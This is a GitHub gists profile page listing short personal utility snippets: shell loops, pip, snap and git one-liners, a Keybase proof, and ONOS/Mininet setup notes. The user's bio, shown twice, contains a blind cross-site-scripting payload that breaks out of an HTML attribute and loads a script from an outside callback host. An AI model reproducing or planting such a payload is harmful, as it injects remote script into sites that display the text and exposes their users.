Skip to content

Instantly share code, notes, and snippets.

View edoardottt's full-sized avatar
👹
'"><script src=//xss.report/c/edoardottt></script>

Edoardo Ottavianelli edoardottt

👹
'"><script src=//xss.report/c/edoardottt></script>
View GitHub Profile
@edoardottt
edoardottt / gist:cd64004c284b55050db149fd994e9ff0
Created June 11, 2020 18:03
Open all javascript files recursively with one command
echo ---------------STARTED-----------------
for dir in $(find . -type f)
do
extension="${dir##*.}"
if [[ $extension == "js" ]]; then
code $dir
echo $dir OPENED
fi
@edoardottt
edoardottt / gist:301e59c33490ec6e6c93826aac344690
Created June 11, 2020 18:03
Open all HTML files recursively with one command
echo ---------------STARTED-----------------
for dir in $(find . -type f)
do
extension="${dir##*.}"
if [[ $extension == "html" ]]; then
code $dir
echo $dir OPENED
fi
@edoardottt
edoardottt / gist:b349703c41cdac7922ba782f608654cb
Last active June 17, 2020 17:30
Upgrade all pip packages

WINDOWS : pip list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U

LINUX : pip3 list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip3 install -U

Keybase proof

I hereby claim:

  • I am edoardottt on github.
  • I am edoardottt (https://keybase.io/edoardottt) on keybase.
  • I have a public key whose fingerprint is 86DE 45BC 4387 47A1 3193 3BD1 E7CF B2B6 684C 699A

To claim this, I am signing this object:

@edoardottt
edoardottt / remove-old-snaps.sh
Created February 17, 2022 17:43
How to remove old version of installed snaps
# Credits:
# - https://superuser.com/questions/1310825/how-to-remove-old-version-of-installed-snaps
# - https://superuser.com/users/185554/gert-van-den-berg
sudo snap list --all | while read snapname ver rev trk pub notes; do if [[ $notes = *disabled* ]]; then sudo snap remove "$snapname" --revision="$rev"; fi; done
@edoardottt
edoardottt / gitoverssh.sh
Created June 21, 2022 05:44
Force git to use SSH, even for HTTPS URLs
git config --global url."git@github.com:".insteadOf "https://github.com/"
@edoardottt
edoardottt / win-change-keyboard-layout.ps1
Created September 18, 2022 19:35
Change keyboard layout on WIndows
Set-WinUserLanguageList -LanguageList it -Force
# If you want to delete all local branches that are already merged into master, you can use the following command:
# ref: https://stackoverflow.com/questions/13064613/how-to-prune-local-tracking-branches-that-do-not-exist-on-remote-anymore
git branch --merged master | grep -v '^[ *]*master$' | xargs git branch -d
import sys,csv
table_name="nome_tabella"
values="(column1, column2, column3, ...)"
# INSERT INTO table_name
#VALUES (value1, value2, value3, ...),
#(value1, value2, value3, ...),
#(value1, value2, value3, ...);
@edoardottt
edoardottt / connect-onos-and-mininet.md
Last active July 13, 2023 10:22
How to Connect ONOS and Mininet VM

ONOS:

I assume ONOS IP is 192.168.1.8.

  • bazel run onos-local or bazelisk run onos-local
  • If you encounter errors with Python2 Interpreter, try adding --host_force_python=PY3
  • ssh -p 8101 onos@172.17.0.1 (default password is rocks)
  • app activate org.onosproject.fwd
  • app activate org.onosproject.openflow

Consider using bazel clean --expunge --async or bazelisk clean --expunge --async to completely remove the entire working tree created by a Bazel instance (doc reference)